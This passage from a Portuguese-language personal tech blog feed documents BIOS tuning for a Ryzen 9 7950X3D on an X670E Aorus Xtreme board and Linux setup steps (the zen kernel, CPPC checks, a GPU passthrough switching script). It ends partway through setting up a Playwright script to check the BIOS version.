</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_nvidia_headless
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="o">&amp;&amp;</span> nvidia-smi
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Main </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">on<span class="o">)</span> vm_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">off<span class="o">)</span> host_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">status<span class="o">)</span> print_status <span class="p">;;</span>
</span></span><span class="line"><span class="cl">*<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Usage: </span><span class="nv">$0</span><span class="s2"> [on|off|status]&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  on     - Prepare GPU for VM (may require nvidia-unlock)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  off    - Enable NVIDIA for host (headless mode)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  status - Show current GPU status&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra rodar é a mesma coisa: <code>nvidia-locker off</code> vai tirar o bloqueio da vfio-pci e carregar os drivers da Nvidia quando eu quero rodar uma LLM de IA nativo no meu Linux ou renderizar alguma coisa no Blender com Cycles.</p>
<p>Depois que terminar, e eu quiser rodar Windows na VM. Ctrl-Alt-F3, novo login no terminal puro texto, e <code>nvidia-locker on</code>. Isso vai matar a GDM, descarregar os drivers da NVIDIA, recarregar o bloqueio do vfio-pci e reiniciar o GDM pra eu logar de novo no modo gráfico. E de lá posso abrir via comando <code>virsh start</code> ou usando a interface gráfica Virtual Machine Manager se quiser usar Display Spice, por exemplo.</p>
<p>E é isso, o artigo é mais pra eu não me esquecer do que eu fiz, pra no futuro usar de referência.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item><item><title>Configuração da BIOS do meu PC - X670E Aorus Xtreme</title><link>https://akitaonrails.github.io/2025/04/17/configuracao-da-bios-do-meu-pc-x670e-aorus-xtreme/</link><guid isPermaLink="true">https://akitaonrails.github.io/2025/04/17/configuracao-da-bios-do-meu-pc-x670e-aorus-xtreme/</guid><pubDate>Thu, 17 Apr 2025 18:50:00 -0300</pubDate><description>&lt;p&gt;Esta é uma anotação pra mim mesmo, pra eu não esquecer e talvez ajude alguém.&lt;/p&gt;
&lt;p&gt;Eu sei que toda placa-mãe vem pré-configurada em &amp;ldquo;defaults&amp;rdquo; seguros e conservadores, o mais estável e não o mais performático. Então se não entrar na BIOS pra mexer, vai estar deixando performance na mesa.&lt;/p&gt;
&lt;p&gt;Eu tenho uma CPU AMD Ryzen 9 7950X3D. O processador é um pacote com um pacote que funciona do dois &amp;ldquo;dies&amp;rdquo;, não sei se é &amp;ldquo;chip&amp;rdquo; um jeito de visualizar. Cada um deles tem 8 cores, totalizando os 16 cores e cada core com 2 threads, então 32 threads possíveis em paralelo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Esta é uma anotação pra mim mesmo, pra eu não esquecer e talvez ajude alguém.</p>
<p>Eu sei que toda placa-mãe vem pré-configurada em &ldquo;defaults&rdquo; seguros e conservadores, o mais estável e não o mais performático. Então se não entrar na BIOS pra mexer, vai estar deixando performance na mesa.</p>
<p>Eu tenho uma CPU AMD Ryzen 9 7950X3D. O processador é um pacote com um pacote que funciona do dois &ldquo;dies&rdquo;, não sei se é &ldquo;chip&rdquo; um jeito de visualizar. Cada um deles tem 8 cores, totalizando os 16 cores e cada core com 2 threads, então 32 threads possíveis em paralelo.</p>
<p>Mas tem uma diferença, cada die tem caches L3 diferentes. Um dos dies tem só 32MB e o outro tem 96MB, então programas mais pesados se beneficiam se rodarem nos cores do die que tem mais L3, e dá pra configurar isso.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gcbhrzj8wuc38z3lonisck0ooeck" alt="lstopo"  loading="lazy" /></p>
<p>Além disso ele tem clock base acho que de 3Ghz com capacidade de dar turbo boost até 5.7Ghz. Não pode tudo rodar nessa velocidade senão esquenta muito rápido e pode dar &ldquo;thermal throttle&rdquo; e aí ele derruba tudo pra baixo de 3Ghz. Por isso que, principalmente em notebooks que não tem capacidade térmica adequada, o melhor não é dar overclocking e sim &ldquo;undervolting&rdquo; (cortar a energia pra ir menos rápido). Porque é melhor todo mundo um pouco menos rápido do que todo mundo super rápido mas imediatamente super-aquecer e todo mundo ficar lento. É complexo isso.</p>
<p>Pra complicar mais eu tenho 96GB de RAM DDR5 6000. Capaz do máximo teórico de 6Ghz, mas isso é teórico porque pode dessincronizar tudo e causar instabilidades até crashear um kernel panic. Por isso o default da placa mãe é a velocidade base acho que de 4Ghz e CPU no máximo indo até 4Ghz mais ou menos também.</p>
<p>Mas dá pra subir isso um pouco sem deixar instável. Em resumo eu fiz o seguinte:</p>
<h2>PBO - Precision Boost Overdrive<span class="hx:absolute hx:-mt-20" id="pbo---precision-boost-overdrive"></span>
    <a href="#pbo---precision-boost-overdrive" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os CPUs Ryzen tem PBO pra dar turbo boost no clock dos cores. Ele costuma vir ou desativado ou numa configuração conservadora, então seu CPU de 5.7Ghz pode estar operando só em 4Ghz ou menos e nunca entregando o máximo.</p>
<p>Pra ajustar isso, se quiser ser avançado, precisa ajustar parâmetros como PPT (Package Power Tracking) pra 200W ou mais. TDC (Thermal Design Current) pra 160A ou mais. EDC (Electrical Design Current) pra 200A ou mais. E pode configurar uma otimizador de curva, por core, pra negativo (-10 ou -20) pra reduzir voltagem, o que pode permitir clocks de boost mais altos.</p>
<p>Mas isso é muito avançado, e precisa saber bem mais de elétrica antes de
tentar na não. Melhor não arriscar e não mexer nisso. A tela a seguir, não deixe em Avançado e sim em Auto mesmo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/vxeurat4imakwzdl6artkzuqymmq" alt="PBO Advanced"  loading="lazy" /></p>
<p>Em vez disso é melhor mexer em PBO Enhancement Presets, que é essa tela abaixo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a1vgigv3ka64xs6nclq9z2hh21w7" alt="PBO Presets"  loading="lazy" /></p>
<p><strong>70/80/90</strong> se refere à temperatura máxima que permitimos os cores de chegarem. Isso vai depender se você tem uma boa solução de resfriamento. Seja um AIO com resfriamento líquido ou um <a href="https://noctua.at/en/nh-d15-g2"target="_blank" rel="noopener"><strong>Noctua NH-D15 G2</strong></a> que é o que eu uso. Ventoinhas da Noctua são hiper silenciosas, eu quase nunca ouço e tem menos manutenção e possibilidade de falhas do que refriamento líquido. Eu prefiro menos peças móveis pra garantir.</p>
<p>[<img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4d10atf2k9rb5pntb9eec5uzqk7u" alt="Noctua NH-D15 G2"  loading="lazy" /></p>
<p>Agora esses <strong>Level 1 a 5</strong> são as tunagens de PPT/TDC/EDC que eu falei, mas já pré-definidas e testadas pelo fabricante. 1 é menos agressivo, o mais estável já 5 é o mais agressivo, pode ser instável. O certo é começar em <strong>90 level 5</strong> e ir diminuindo até achar o mais estável pro seu sistema. Isso vai variar, por exemplo, quando mais RAM tiver, menos agressivo parece que pode ser, especialmente quanto mais rápido essa RAM for.</p>
<p>No meu caso, logo no boot do meu Manjaro Linux, já deu kernel panic, que se parece com algo assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/f25kqct9urmereleunhurknw40d4" alt="kernel panic"  loading="lazy" /></p>
<p>Então voltei pra BIOS e fui testando diferentes níveis e, pra minha configuração, consegui chegar só até <strong>90 Level 2</strong>. Esse tem sido estável e até agora não tive nenhum crash aleatório.</p>
<p>Além disso, recentemente (começo de 2025) fabricantes de placa-mãe soltaram atualizações de firmware que abriram acesso a uma funcionalidade chamada <strong>X3D Turbo Mode</strong>. Se você ver isso, não pense que é mais performance grátis. Na realidade, a menos que use a máquina mais pra games, vai sentir até que ela ficou mais lenta.</p>
<p>Como expliquei antes, Ryzen 9 tem 1 CCD (core complex), que é o die com 96MB de cache L3 (V-Cache). Turbo mode tenta forçar mais programas pro CCD que <strong>NÃO</strong> tem V-Cache (o de 32MB), e que por isso consegue ter um boost maior de clock mas tem mais latência. Isso é bom pra games - que normalmente não se beneficiam de ter mais cache e sim mais clock.</p>
<p>Mas ao mesmo tempo, programas que precisam do V-Cache vão acabar caindo mais vezes no Core com <strong>MENOS</strong> cache L3 e aí vão performar pior que antes. Exemplos disso são programas de modelagem 3D como Blender, justamente o que eu quero usar mais agora. Por isso teste, mas em princípio pode deixar desligado.</p>
<p>Essa opção no meu firmware se chama &ldquo;X3D Turbo Mode&rdquo; mas em outros lugares pode ser &ldquo;3D V-Cache Performance Optimizer&rdquo;, é a mesma coisa.</p>
<h2>XMP/EXPO RAM<span class="hx:absolute hx:-mt-20" id="xmpexpo-ram"></span>
    <a href="#xmpexpo-ram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora, a RAM DDR5 boota no clock base de uns 4.8Ghz. Mas dependendo do modelo da RAM ela pode ir muito mais, no meu caso pra 6Ghz. Toda memória moderna também tem diversas configurações como a frequência, latência, voltagem e mais. De novo, não vale a pena tentar parametrizar isso na mão. É melhor usar perfis pré-definidos (profiles). A Intel chama esse suporte de <strong>XMP</strong> e a AMD chama de <strong>EXPO</strong>.</p>
<p>Esqueci de tirar foto da minha BIOS, mas essa foto do Google Images um pouco mais antiga é a mesma coisa. XMP/EXPO vem desligado (conservador) mas é só escolher o profile que já existe:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ypwo0rsbr1bmu6w6ujm7b1qyjlof" alt="XMP/EXPO Profile"  loading="lazy" /></p>
<p>Note que logo embaixo tem coisas como <strong>Low Latency Support</strong> e <strong>High Bandwidth Support</strong>. Teoricamente pra diminuir a latência e aumentar a banda de transferência. Tudo que soa muito bom, mas no meu caso não funciona. Se eu tento ligar esses dois, meu sistema não dá boot. Fui obrigado a limpar a CMOS pra reiniciar a BIOS sem isso.</p>
<p>O problema: possivelmente muita memória (96GB). Talvez se você tiver menos, 32GB, por aí, isso funcione, mas parece que quanto mais se tem, mais instável fica se tenta ir rápido demais.</p>
<p>Outro problema, em DDR5, quanto mais memória, mais lento é o Cold Boot, o boot inicial quando o PC estava desligado. A BIOS precisa fazer uma checagem nas memórias pra garantir esses parâmetros, tempo de resposta e tudo mais. E isso acontece em <strong>TODO</strong> boot. Pode levar alguns minutos e alguns podem achar até que a máquina travou, mas é só essa checagem.</p>
<p>Na BIOS tem uma opção chamada <strong>Memory Context Restore</strong> onde ele usa os parâmetros que gravou da última vez que fez essa checagem. Mas não recomendo, pra mim inclusive nem boota mais depois de habilitar isso. Teoricamente ele iria cortar o tempo de checagem e reusar dados antigos, mas esses dados podem não bater (os valores podem flutuar) e isso torna o sistema todo instável. Melhor esperar um minuto a mais no boot do que ficar com o sistema instável.</p>
<p>Em configurações avançadas de memória tem mais uma coisa que devemos mexer: <strong>DF C-States</strong>, que precisa estar <strong>DESABILITADO</strong>. Em teoria essa funcionalidade é pra reduzir a latência entre CPU e memória. Mas em sistemas com muita RAM (96GB ou mais como a minha) isso também pode causar instabilidade a custo de não muito ganho notável. Prefiro ficar estável nesse caso.</p>
<p>Outra configuração pra mudar é <strong>Power Supply Idle Control</strong> tem que mudar pra &ldquo;Typical Current Idle&rdquo;, e até agora (pode surgir um update de correção da firmware), é mandatório pra processadores Ryzen (mesmo AM5). isso previne estado de dormir &ldquo;Deep Power State&rdquo;, o que pode causar kernel panics aleatórios.</p>
<p>Mesma coisa pra <strong>Global C-State Control</strong> que também precisa desabilitar pelo mesmo motivo: evitar &ldquo;deep sleep states&rdquo; (C6/C10) quando a CPU fica em &ldquo;idle&rdquo; (sem fazer nada) por muito tempo. Essas funcionalidades existem pra economizar energia, mas parece que AMD tem bugs quando a CPU é forçada a esse estado e quando acorda, volta instável ou crasheando. Então ele vai consumir mais energia quando não tá fazendo nada (por volta de menos de 20W, em vez de perto de zero), mas pelo menos não vai ficar instável. Se quiser economizar energia, melhor é dar shut-down e desligar a força mesmo, quando não estiver usando.</p>
<h2>Resumo da BIOS (pra mim)<span class="hx:absolute hx:-mt-20" id="resumo-da-bios-pra-mim"></span>
    <a href="#resumo-da-bios-pra-mim" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>PBO Enhancement: <strong>90 Level 2</strong> (clock boost um pouco mais agressivo que o default)</li>
<li>Power Supply Idle Control: <strong>Typical Current Idle</strong> (prevenir o bug de crash em idle)</li>
<li>Global C-State Control: <strong>Desabilitado</strong> (evita dormir profundo, causando instabilidade)</li>
<li>DF C-States: <strong>Desabilitado</strong> (também evita dormir, melhorando latência da Infinity Fabric)</li>
<li>XMP/EXPO: <strong>Profile XMP1</strong> se tiver (aumenta clock da memória)</li>
</ul>
<p>Tem 2 coisas importantes, especialmente se estiver usando GPUs discretas:</p>
<ul>
<li>Above 4G Decoding e Re-Size Bar Support. No meu caso ambas estão ligadas por padrão, se na sua estiver desligada, ligue.</li>
</ul>
<p>No Linux, dá pra checar se está ligada. Rode o seguinte:</p>
<p><code>sudo lspci -vv | grep -A 15 VGA</code></p>
<p>Tem que aparecer &ldquo;Resizable BAR&rdquo; assim:</p>
<p><code>Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)</code></p>
<p>Se não aparecer, vá pra BIOS e procure pra habilitar. Sem isso você não está usando o máximo da sua placa de video. Acho que em iGPUs (que são GPUs que já vem embutida junto com a CPU) aí não tem essa opção mesmo.</p>
<h2>Kernel Linux-Zen<span class="hx:absolute hx:-mt-20" id="kernel-linux-zen"></span>
    <a href="#kernel-linux-zen" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Em sempre estive usando a kernel padrão LTS mais estável, agora era Linux66, se não me engano. Mas lembrei que posso usar a kernel Zen, que é a mesma kernel padrão do Arch com tunings de performance pra melhorar latência, especialmente em multi-thread. Ele muda pro scheduler CFS com melhorias. Teoricamente, melhora a responsividade geral do sistema. Acho que vale a pena usar. No Arch/Manjaro é assim:</p>
<p><code>yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin</code></p>
<p>Isso vai desinstalar a kernel antiga e, se estiver usando GPUs NVIDIA, também vai desinstalar o pacote de drivers. Por isso precisa instalar o seguinte pacote também:</p>
<p><code>yay -S nvidia-dkms</code></p>
<p>E depois, com tudo instalado, rodar o seguinte comando:</p>
<p><code>sudo dkms autoinstall</code></p>
<p>Isso vai instalar de novo os binários dos drivers da nvidia pro novo kernel Zen. No caso do Manjaro, não precisa mexer no GRUB porque no meu caso ele está configurado pra <code>GRUB_DEFAULT=saved</code> em <code>/etc/default/grub</code>. Isso significa que quando reboota, ele vai gravar qual kernel eu escolhi por último, e no próximo reboot, se eu não escolher nada, vai carregar de novo o último kernel que eu escolhi. Prefiro assim do que deixar &ldquo;hard-coded&rdquo; qual kernel é o padrão.</p>
<p>Feito isso, no próximo boot só checar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ uname -r
6.14.2-zen1-1-zen</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Outra coisa é checar se <strong>CPPC</strong> está ativo. Isso é <strong>Collaborative Processor Performance Control</strong> que é uma funcionalidade que expõe pra kernel do OS um ranking de cores (qual tem boost mais alto, quem tem mais cache, etc). Lembra o X3D Turbo Mode que falei antes? Mesmo conceito: pra facilitar o OS escolher pra qual core mandar qual programa pra rodar melhor.</p>
<p>Nem todo firmware de placa-mãe expõe isso como uma opção, no caso do meu X670E da Gigabyte, ele não existe. Significa que provavelmente já vem ligado por padrão. Pra checar se está ligado, basta ir no terminal do Linux e rodar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se voltar algum resultado, é porque está ligado e o firmware está informando pra kernel sobre as características de cada core, assim o scheduler tem mais informação pra gerenciar pra onde mandar cada thread.</p>
<p>Outra forma de checar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>ls /sys/devices/system/cpu/cpu0/cpufreq/</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Precisa retornar uma lista contendo nomes como estes:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Que, novamente, é sinal que o Linux está reconhecendo CPPC direito.</p>
<p>O próprio Manjaro, além das kernels estáveis, tem as versões &ldquo;linux-rt&rdquo; que é pra sistemas real-time. Tecnicamente, não só é pra ter latência mais baixa, mas sim latências estáveis e mais previsíveis. <strong>NÃO USE ESSE TIPO DE KERNEL</strong>. Isso é pra sistemas de fábrica ou coisas assim que precisam de determinismo do processamento e não tem tolerância pra latência aleatória. Não significa que vai rodar mais responsivo, pode até ser que rode mais lento, mas o importante é ser um lento previsível.</p>
<p>Outros podem falar da kernel <strong>Linux Liquorix</strong>, que muitos comparam com a Zen. Mas enquanto a Zen é baseada no próprio kernel que o Arch usa, o do Liquorix é baseada na versão de Debian/Ubuntu. Então não é recomendado usar no Arch/Manjaro. Além disso ele é mais experimental e teoricamente menos estável também. Use se estiver num Ubuntu ou derivados da vida. Em Arch, melhor ficar no Zen.</p>
<h2>check_ryzen_perf.sh<span class="hx:absolute hx:-mt-20" id="check_ryzen_perfsh"></span>
    <a href="#check_ryzen_perfsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se tiver um sistema Ryzen, copie o seguinte script e rode na sua máquina:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🔍 Verifying Ryzen 7950X3D Tuning on Linux&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPU Driver: &#34;</span>
</span></span><span class="line"><span class="cl">grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ EPP Mode: &#34;</span>
</span></span><span class="line"><span class="cl">cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPPC Detected: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Preferred Core Ranking: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Running Kernel: &#34;</span>
</span></span><span class="line"><span class="cl">uname -r
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -e <span class="s2">&#34;\n✅ All key Linux-side Ryzen tuning options appear active.\n&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Na minha máquina ele agora dá este resultado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dizendo que, teoricamente, tudo de performance parece estar ativo e funcionando. Caso um deles não esteja, pergunte ao ChatGPT o que fazer pra sua configuração.</p>
<h2>Checar versão da BIOS<span class="hx:absolute hx:-mt-20" id="checar-versão-da-bios"></span>
    <a href="#checar-vers%c3%a3o-da-bios" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Muitos fabricantes de placa-mãe oferecem software, pra Windows, pra automaticamente baixar e atualizar o firmware. Mas no caso da Gigabyte, não tem suporte pra Linux. Pra checar que versão está instalada agora, sem precisar entrar na BIOS, no Linux tem este comando:</p>
<p><code>sudo dmidecode -s bios-version</code></p>
<p>No meu caso, agora volta F33 (versão de março de 2025). Agora, pra comparar se essa é a versão mais nova, só indo manualmente na porcaria do site da Gigabyte que, no meu caso, é <a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support"target="_blank" rel="noopener">este link</a>. Pro seu modelo específico, e fabricante, lógico, esse link vai variar.</p>
<p><a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-1x/support#support-dl"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/72l1if05q22u1ogowfzws9rtz95j" alt="x670e support page"  loading="lazy" /></a></p>
<p>Pra piorar, parece que o conteúdo é carregado assincronamente por javascript, então se tentar usar <code>wget</code>ou <code>curl</code> pela linha de comando, não vai ter carregado o conteúdo ainda.</p>
<p>Resolvi fazer um script idiota pra resolver isso. Primeiro, caso não use <code>mise</code> como eu (veja meu projeto no Github <a href="https://github.com/akitaonrails/omakub-mj"target="_blank" rel="noopener">Omakub-MJ</a> pra ter um setup igual o meu), instale Node manualmente assim:</p>
<p><code>sudo pacman -S nodejs npm</code></p>
<p>Crie algum diretório pro projeto e de lá faça:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>npm init -y
npm install -g playwright
npx playwright install</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
